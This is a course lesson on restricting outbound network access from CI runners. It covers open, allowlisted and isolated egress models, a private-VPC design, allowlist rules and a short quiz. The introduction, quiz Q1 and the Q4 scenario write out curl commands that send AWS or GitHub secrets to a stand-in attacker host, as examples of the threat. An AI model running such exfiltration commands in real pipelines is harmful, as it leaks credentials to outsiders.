Git, CI/CD & GitOpsXXXVIII · CI ArchitectureCI Architecture
Runner network and internet — egress controls, private runners, and the cloud-only case
What you'll learn
- Distinguish ingress from egress in the context of a CI runner
- Identify the three egress models: open, allowlisted, and isolated
- Recognise why a runner with unrestricted egress is a data-exfiltration channel
- Design a private runner in a private network that can reach internal targets but not the internet
- Apply allowlist-based egress controls to GitHub-hosted runners using firewall rules
Prerequisites
Verified against Git 2.55.x teaching target; 2.40+ minimum · GitHub Actions continuous service; Aug 2026 documentation baseline · Argo CD v3.5.x teaching target; v3.0+ minimum · Flux v2.9.x · Sigstore Cosign v3.1.x · SLSA v1.2 · OCI Distribution Specification v1.1 · Git LFS v3.7.1 · Kubernetes (cross-course target) 1.36.x
A CI runner with unrestricted outbound internet access is a data-exfiltration channel. Anything in the runner’s environment
- secrets, source code, plan output, dependency manifests -
can be sent anywhere on the public internet by any step the
runner runs. “Scope your secrets per job” is necessary but
insufficient: if a step can
curl https://attacker.example.com/$AWS_SECRET_ACCESS_KEY, secret scoping does not help. The runner’s network egress is the boundary the secrets need.
Egress versus ingress
flowchart LR
RUN["CI runner"] -->|"egress:\noutbound from runner"| NET["Internet /\ninternal network"]
NET -->|"ingress:\ninbound to runner"| RUN
ENV["Target environment"] -. "egress from runner" .-> RUN
- Ingress controls what enters the runner: source code,
secrets, the runner image, dependencies pulled by
pipornpm. - Egress controls what leaves the runner: step output, logs, secrets, fetched dependencies, calls to internal services, calls to the cloud API, calls to attacker endpoints.
A runner with open ingress but controlled egress is rare. A runner with controlled ingress and open egress is the default and is the dangerous configuration.
The three egress models
flowchart TB
subgraph OPEN["Open egress"]
R1["Runner"] -->|"any destination"| NET1["Public internet"]
end
subgraph ALLOW["Allowlisted egress"]
R2["Runner"] -->|"egress proxy\n(allowlist)"| NET2["Specific destinations only"]
end
subgraph ISO["Isolated (no egress)"]
R3["Runner"] -->|"internal VPC,\nno internet route"| NET3["Internal targets only"]
end
- Open egress. The runner can reach any IP on any port. The default for GitHub-hosted runners. Turns a secret leak into a public incident.
- Allowlisted egress. Outbound traffic is proxied through a firewall or egress proxy enforcing an allowlist of destinations (the forge, cloud APIs, a package mirror, the OIDC endpoint). Anything not on the list is dropped.
- Isolated (no egress). No route to the public internet. The runner can reach the forge (for status and artifacts), the cloud API (over PrivateLink), and internal services, nothing else. The cloud-only case.
The cloud-only case
flowchart LR
subgraph VPC["Private VPC (no 0.0.0.0/0 route)"]
R["Runner\n(self-hosted,\nin private subnet)"]
E["Internal services\n(artifactory, registry)"]
end
R -->|"private endpoint"| E
R -->|"PrivateLink /\nVPC endpoint"| AWS["AWS APIs"]
R -->|"HTTPS to forge,\nvia narrow NAT"| FORGE["Forge"]
In this model:
- Dependencies come from an internal mirror. Pip, npm, Maven, Go modules, Docker images from an internal artifactory in the same VPC.
- Cloud APIs are reached via VPC endpoints. AWS PrivateLink (or the GCP/Azure equivalent) provides a private path to cloud IAM and service APIs.
- The forge is reachable via a narrowly-scoped NAT. For status reporting and artifact upload - the only outbound path.
This is what regulated environments (financial, healthcare, government) typically require, and what an organisation that has suffered a supply-chain attack typically adopts after.
Allowlist patterns
For GitHub-hosted runners, allowlist-based egress is implemented at the network layer - either by configuring the runner host’s firewall or by routing all traffic through a proxy. For self-hosted runners, the allowlist is typically a firewall rule on the host or a route table in the VPC:
# Example: AWS security group egress rules for a CI runner subnet
Egress allow:
- 140.82.112.0/20 # GitHub Actions IP ranges
- vpce-1234-abcd... # AWS VPC endpoint for S3
- 10.0.0.0/8 # internal VPC (artifactory)
Egress deny:
- 0.0.0.0/0
A allowlist of 0.0.0.0/0 is not an allowlist; it is the
absence of one. A allowlist of *.amazonaws.com is too
broad; an attacker who controls a domain resolving into AWS
ranges bypasses it. The allowlist should be CIDR ranges and
VPC endpoints, not domain names.
# Verify a runner has no default route
ip route show default
# (should show no output if the runner is isolated)
If ip route show default shows a default gateway, the runner
has an egress path. If the team intended the runner to be
isolated, the default gateway is a misconfiguration.
Verifying egress in practice
# Inside the runner shell, list every environment variable
env
# Confirm network reachability to a specific host
curl -sS -o /dev/null -w "%{http_code}\n" https://forge.example.com
env is the canonical way to see what crossed boundary 1 into
the runner. curl is the canonical way to verify that an
egress allowlist is actually permitting intended traffic. If
the runner is supposed to reach the cloud API but curl
returns 000, the egress rule is wrong. If the runner is
supposed to be isolated but curl returns 200, the rule is
also wrong.
Production discipline
- Treat the runner as a hostile network endpoint. Its egress should be as restricted as any other internet-facing service you operate.
- Default to isolated or allowlisted egress. Open egress is the legacy default.
- Test egress controls with real commands.
curlfrom inside the runner is the only verification that counts. - Document the egress allowlist as an audited artefact. Changes go through the same review as IAM policy changes.
Cross-course references
- Linux for Production Sysadmins - Part XXXIII (NetHard) covers iptables and nftables egress rules.
- Ansible for Production Sysadmins - Part XXXVII (RepoArch) covers molecule runner isolation in a private VPC.
- Terraform for Production Sysadmins - Parts IX-XII (State) cover Terraform Cloud’s network isolation patterns.
Quiz
Knowledge check · 4 questions
Q1. A self-hosted runner in a private subnet runs a job that exfiltrates AWS_SECRET_ACCESS_KEY via `curl -d $AWS_SECRET_ACCESS_KEY https://attacker.example.com`. The egress control in place is a VPC route table. What is the most likely configuration error?
Q2. Restricting egress on a CI runner reduces the blast radius of a secret leak more reliably than scoping the secret to a specific job.
Q3. Name the three egress models for CI runners and identify which is the strongest control against data exfiltration.
Q4. Design an egress control plan for a team that currently runs GitHub-hosted runners with open egress and needs to reduce the blast radius of a future secret leak.
Team T operates 25 workflows on GitHub-hosted runners. The runners have open egress by default. A recent near-miss involved a fork PR whose step ran `curl -d "$GITHUB_TOKEN" https://attacker.example.com` - the step failed because $GITHUB_TOKEN was not in the fork PR environment, but the team is alarmed that the curl would have succeeded if the secret had been present. The team wants a structural fix without abandoning GitHub-hosted runners entirely.
Passing score: 75%. Answers are checked in this browser.